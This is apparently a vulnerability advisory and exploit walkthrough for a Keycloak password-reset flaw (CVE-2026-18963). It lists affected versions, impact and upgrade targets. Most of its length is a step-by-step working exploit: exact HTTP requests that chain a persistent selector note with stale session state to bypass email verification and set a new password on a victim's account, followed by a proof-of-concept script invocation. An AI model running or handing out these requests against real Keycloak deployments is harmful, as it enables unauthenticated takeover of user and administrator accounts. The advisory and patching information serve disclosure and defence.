CVE-2026-18963: Keycloak Unauthenticated Account Takeover
Critical authentication bypass in Red Hat Keycloak password reset flow
Summary
CVE-2026-18963 allows an unauthenticated attacker to take over any Keycloak user account by bypassing email verification in the password reset flow.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-18963 |
| Product | Red Hat Keycloak |
| Vulnerable Versions | 26.0.0 - 26.4.14, 26.6.0 - 26.6.5, 26.7.0 - 26.7.1 |
| Patched Versions | 26.4.15, 26.6.6, 26.7.2, 26.8.0+ |
| Severity | Critical (CVSS 9.8) |
| Attack Complexity | Low |
| Authentication | None |
Vulnerability Details
The vulnerability exists in Keycloak’s credential reset flow. Two bugs work together to bypass email verification:
Bug 1: Selector Note Persistence
When a user submits tryAnotherWay=on parameter, Keycloak sets a “selector note” flag in the authentication session. This flag persists across requests and changes how subsequent reset-credentials requests are handled.
Bug 2: Stale Session State
After submitting a victim’s username (which triggers an email), revisiting the forgot-password URL returns a stale credential selector form. The victim’s username remains bound to the attacker’s session, and the selector note from Bug 1 causes Keycloak to skip email verification when this form is resubmitted.
Affected Endpoints
/auth/realms/{realm}/login-actions/reset-credentials/auth/realms/{realm}/login-actions/required-action/auth/realms/{realm}/protocol/openid-connect/auth
Exploitation
Prerequisites
- Target Keycloak instance running vulnerable version
- Knowledge of victim’s username or email address
- Network access to the Keycloak server
Step 1: Detect Version
Verify the target is vulnerable by checking the realm configuration:
GET /auth/realms/{realm} HTTP/2
Host: keycloak.target.com

Step 2: Establish Session
Initialize an OIDC authentication flow to obtain session cookies:
GET /auth/realms/{realm}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid HTTP/2
Host: keycloak.target.com
The server sets AUTH_SESSION_ID, KC_AUTH_SESSION_HASH, and KC_RESTART cookies.

Step 3: Access Reset Form
Navigate to the password reset form:
GET /auth/realms/{realm}/login-actions/reset-credentials?client_id=account&tab_id=xxx HTTP/2
Host: keycloak.target.com
Cookie: AUTH_SESSION_ID=...; KC_RESTART=...

Step 4: Trigger Bug 1
Submit tryAnotherWay=on to set the selector note:
POST /auth/realms/{realm}/login-actions/reset-credentials?session_code=xxx HTTP/2
Host: keycloak.target.com
Content-Type: application/x-www-form-urlencoded
tryAnotherWay=on

Step 5: Bind Victim Username
Submit the victim’s email address:
POST /auth/realms/{realm}/login-actions/reset-credentials?session_code=xxx HTTP/2
Host: keycloak.target.com
Content-Type: application/x-www-form-urlencoded
username=victim@example.com
Keycloak sends a password reset email to the victim. Normally, the attacker would need access to this email.

Step 6: Trigger Bug 2
Instead of waiting for the email, revisit the forgot-password URL:
GET /auth/realms/{realm}/login-actions/reset-credentials?client_id=account&tab_id=xxx HTTP/2
Host: keycloak.target.com
Cookie: AUTH_SESSION_ID=...; KC_RESTART=...
Due to Bug 2, Keycloak returns a stale credential selector with the victim’s username still bound.

Step 7: Execute Bypass
Resubmit the victim’s username to the stale form:
POST /auth/realms/{realm}/login-actions/reset-credentials?session_code=xxx HTTP/2
Host: keycloak.target.com
Content-Type: application/x-www-form-urlencoded
username=victim@example.com
Critical Response: HTTP 302 redirect to UPDATE_PASSWORD action - email verification bypassed!
HTTP/2 302 Found
Location: /auth/realms/{realm}/login-actions/required-action?execution=UPDATE_PASSWORD

Step 8: Set New Password
Submit the new password:
POST /auth/realms/{realm}/login-actions/required-action?execution=UPDATE_PASSWORD HTTP/2
Host: keycloak.target.com
Content-Type: application/x-www-form-urlencoded
password-new=AttackerPassword123!&password-confirm=AttackerPassword123!

The server responds with a redirect and sets authenticated session cookies:
HTTP/2 302 Found
Location: /auth/realms/{realm}/account/
Set-Cookie: KEYCLOAK_IDENTITY=...
Set-Cookie: KEYCLOAK_SESSION=...

Result: Full account takeover without email access.
Impact
An unauthenticated attacker can:
- Reset any user’s password without email verification
- Take over any account including administrators
- Access all applications protected by Keycloak
- Steal sensitive data and sessions
Attack Requirements:
- Only the victim’s username or email address
- No authentication needed
- No user interaction required
Remediation
Upgrade Keycloak immediately to:
- 26.4.15+ (for 26.4.x)
- 26.6.6+ (for 26.6.x)
- 26.7.2+ (for 26.7.x)
- 26.8.0+ (latest)
Proof of Concept
python3 exploit.py \
--url https://keycloak.target.com \
--realm master \
--username victim@example.com \
--new-password "Pwned1337!"
References
For authorized security testing and educational purposes only.